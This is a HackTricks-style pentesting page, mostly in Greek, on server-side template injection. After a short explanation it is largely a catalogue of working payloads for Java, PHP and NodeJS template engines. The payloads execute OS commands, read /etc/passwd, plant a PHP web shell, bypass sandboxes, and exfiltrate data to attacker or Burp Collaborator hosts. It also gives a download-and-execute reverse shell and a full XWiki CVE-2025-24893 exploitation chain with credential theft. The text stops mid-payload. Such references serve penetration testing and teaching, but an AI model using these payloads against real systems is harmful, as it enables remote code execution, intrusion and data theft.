SSTI (Server Side Template Injection)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το SSTI (Server-Side Template Injection)
Server-side template injection είναι μια ευπάθεια που εμφανίζεται όταν ένας attacker μπορεί να εισάγει κακόβουλο code μέσα σε ένα template το οποίο εκτελείται στον server. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Jinja είναι ένα δημοφιλές template engine που χρησιμοποιείται σε web applications. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα vulnerable code snippet που χρησιμοποιεί Jinja:
output = template.render(name=request.args.get('name'))
Στον παρόντα ευάλωτο κώδικα, η παράμετρος name από το request του χρήστη προωθείται απευθείας στο template χρησιμοποιώντας τη συνάρτηση render. Αυτό μπορεί ενδεχομένως να επιτρέψει σε έναν attacker να εγχύσει κακόβουλο κώδικα στην παράμετρο name, οδηγώντας σε server-side template injection.
Για παράδειγμα, ένας attacker θα μπορούσε να κατασκευάσει ένα request με ένα payload όπως το εξής:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Το payload {{bad-stuff-here}} εισάγεται στην παράμετρο name. Αυτό το payload μπορεί να περιέχει Jinja template directives που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειραγωγήσει το template engine, ενδεχομένως αποκτώντας έλεγχο του server.
Για να προληφθούν ευπάθειες Server-Side Template Injection (SSTI), οι developers πρέπει να διασφαλίζουν ότι τα user input καθαρίζονται και επικυρώνονται πριν εισαχθούν σε templates. Η εφαρμογή input validation και η χρήση context-aware escaping τεχνικών μπορούν να μειώσουν τον κίνδυνο αυτής της ευπάθειας.
Detection
Για να εντοπίσετε Server-Side Template Injection (SSTI), αρχικά, fuzzing the template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\) στο template και την ανάλυση των διαφορών στην απόκριση του server για κανονικά δεδομένα σε σύγκριση με αυτό το special payload. Δείκτες ευπάθειας περιλαμβάνουν:
- Σφάλματα που ρίχνονται, αποκαλύπτοντας την ευπάθεια και ενδεχομένως τον template engine.
- Απουσία του payload στην ανακλαση, ή έλλειψη μέρους του, που υποδηλώνει ότι ο server το επεξεργάζεται διαφορετικά από κανονικά δεδομένα.
- Plaintext Context: Διακρίνετε από XSS ελέγχοντας αν ο server αξιολογεί εκφράσεις template (π.χ.
{{7*7}},${7*7}). - Code Context: Επιβεβαιώστε την ευπάθεια τροποποιώντας input παραμέτρους. Για παράδειγμα, αλλάξτε το
greetingστοhttp://vulnerable-website.com/?greeting=data.usernameγια να δείτε αν η έξοδος του server είναι δυναμική ή σταθερή, όπως ότανgreeting=data.username}}helloεπιστρέφει το username.
Φάση Αναγνώρισης
Η αναγνώριση του template engine περιλαμβάνει την ανάλυση των μηνυμάτων σφάλματος ή τον χειροκίνητο έλεγχο με διάφορα payloads ειδικά για κάθε γλώσσα. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}, {{7/0}}, και <%= 7/0 %>. Η παρατήρηση της απόκρισης του server σε μαθηματικές πράξεις βοηθά στον εντοπισμό του συγκεκριμένου template engine.
Αναγνώριση μέσω payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Εργαλεία
TInjA
ένας αποδοτικός SSTI + CSTI scanner που χρησιμοποιεί novel polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
ένας διαδραστικός πίνακας που περιέχει τα πιο αποτελεσματικά template injection polyglots μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών template engines.
Exploits
Γενικά
Σε αυτό το wordlist μπορείτε να βρείτε variables defined στο περιβάλλον ορισμένων από τις engines που αναφέρονται παρακάτω:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
${T(java.lang.System).getenv()}
Java - Ανάκτηση /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ λειτουργεί μόνο σε εκδόσεις του Freemarker κάτω από 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Περισσότερες πληροφορίες
- Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Περισσότερες πληροφορίες
- Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Στο Thymeleaf, ένα κοινό τεστ για ευπάθειες SSTI είναι η έκφραση ${7*7}, η οποία ισχύει επίσης για αυτή τη μηχανή template. Για πιθανή remote code execution, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται μέσα σε συγκεκριμένα attributes. Ωστόσο, expression inlining υποστηρίζεται για άλλες θέσεις του template, χρησιμοποιώντας σύνταξη όπως [[...]] ή [(...)]. Επομένως, ένα απλό SSTI test payload μπορεί να μοιάζει με [[${7*7}]].
Ωστόσο, η πιθανότητα να δουλέψει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη διαμόρφωση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία templates· τα templates πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver για να δημιουργούν templates από strings on-the-fly, κάτι που είναι ασυνήθιστο.
Το Thymeleaf προσφέρει επίσης expression preprocessing, όπου εκφράσεις μέσα σε διπλά underscores (__...__) προεπεξεργάζονται. Αυτή η δυνατότητα μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως επιδεικνύεται στην τεκμηρίωση του Thymeleaf:
#{selection.__${sel.code}__}
Παράδειγμα ευπάθειας στο Thymeleaf
Σκεφτείτε το παρακάτω απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Αυτό υποδηλώνει ότι εάν η template engine επεξεργαστεί αυτά τα inputs εσφαλμένα, μπορεί να οδηγήσει σε remote code execution που αποκτά πρόσβαση σε URLs όπως:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Περισσότερες πληροφορίες
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν ${...} δεν λειτουργεί δοκίμασε #{...}, *{...}, @{...} ή ~{...}.
- Διάβασε
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Προσαρμοσμένο Script για τη δημιουργία payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Περισσότερες Πληροφορίες
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Παλαιότερη έκδοση του Pebble (< έκδοση 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Νέα έκδοση του Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Το Jinjava είναι ένα ανοιχτού κώδικα έργο που αναπτύχθηκε από τη Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Περισσότερες πληροφορίες
Hubspot - HuBL (Java)
{% %}διαχωριστές δηλώσεων{{ }}διαχωριστές εκφράσεων{# #}διαχωριστές σχολίων{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζητώντας το “com.hubspot.content.hubl.context.TemplateContextRequest” θα βρείτε το Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Περισσότερες πληροφορίες
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ του presentation layer (όπως web pages) και της application logic (όπως managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που αξιοποιούν το EL περιλαμβάνουν:
- JavaServer Faces (JSF): Χρησιμοποιεί EL για να δέσει components σε JSF σελίδες με τα αντίστοιχα backend δεδομένα και τις ενέργειες.
- JavaServer Pages (JSP): EL χρησιμοποιείται σε JSP για πρόσβαση και χειρισμό δεδομένων μέσα σε JSP σελίδες, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
- Contexts and Dependency Injection for Java EE (CDI): EL ενσωματώνεται με CDI για να επιτρέψει απρόσκοπτη αλληλεπίδραση μεταξύ του web layer και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή της εφαρμογής.
Δείτε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με την exploitation of EL interpreters:
Groovy (Java)
Οι ακόλουθες Security Manager παρακάμψεις προέρχονται από αυτό το writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the Main.SolrSearch macro. Ο handler παίρνει την query παράμετρο text, την τυλίγει σε wiki syntax και αξιολογεί macros, οπότε η ένεση }}} ακολουθούμενη από {{groovy}} εκτελεί αυθαίρετο Groovy στο JVM.
- Fingerprint & scope – Όταν το XWiki είναι reverse-proxied πίσω από host-based routing, fuzzάρετε την κεφαλίδα
Host(ffuf -u http://<ip> -H "Host: FUZZ.target" ...) για να ανακαλύψετε το wiki vhost, μετά πλοηγηθείτε στο/xwiki/bin/view/Main/και διαβάστε το footer (XWiki Debian 15.10.8) για να προσδιορίσετε την ευάλωτη έκδοση. - Trigger SSTI – Request
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Το RSS item<title>θα περιέχει την έξοδο του Groovy. Πάντα “URL-encode all characters” ώστε τα κενά να μένουν ως%20; η αντικατάσταση τους με+κάνει το XWiki να πετάει HTTP 500. - Run OS commands – Αντικαταστήστε το Groovy body με
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()spawnάρει την εντολή απευθείας μεexecve(), οπότε τα shell metacharacters (|,>,&) δεν ερμηνεύονται. Χρησιμοποιήστε pattern download-and-execute αντί για αυτό:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(το script περιέχει τη λογική του reverse shell).
- Post exploitation – XWiki stores database credentials in
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordδίνει πραγματικούς κωδικούς συστήματος που μπορούν να επαναχρησιμοποιηθούν για SSH. Αν το service unit έχειNoNewPrivileges=true, εργαλεία όπως/bin/suδεν θα αποκτήσουν επιπλέον προνόμια ακόμα και με έγκυρους κωδικούς, οπότε κάντε pivot μέσω SSH αντί να βασίζεστε σε τοπικά SUID binaries.
The same payload works on /xwiki/bin/get/Main/SolrSearch, and the Groovy stdout is always embedded in the RSS title, so it is easy to script enumeration of commands.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Περισσότερες πληροφορίες
- Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Μορφή προτύπου
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Περισσότερες πληροφορίες
- Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Το Plates είναι μια μηχανή templating εγγενής στο PHP, που αντλεί έμπνευση από το Twig. Ωστόσο, σε αντίθεση με το Twig, που εισάγει μια νέα σύνταξη, το Plates αξιοποιεί εγγενή PHP κώδικα στα templates, καθιστώντας το διαισθητικό για προγραμματιστές PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Πρότυπο σελίδας:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Πρότυπο διάταξης:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Περισσότερες πληροφορίες
PHPlib και HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB είναι το ίδιο με PHPlib αλλά μεταφερμένο στο Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Περισσότερες πληροφορίες
Άλλο PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Περισσότερες πληροφορίες
- Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate μη-μεταγλωττιζόμενη PHP μηχανή templating, που χρησιμοποιεί ετικέτες XML για να διαχωρίσει ένα έγγραφο σε διαφορετικά μέρη
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Περισσότερες πληροφορίες
Handlebars (NodeJS)
Path Traversal (περισσότερες πληροφορίες here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Σφάλμα
- ${7*7} = ${7*7}
- Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2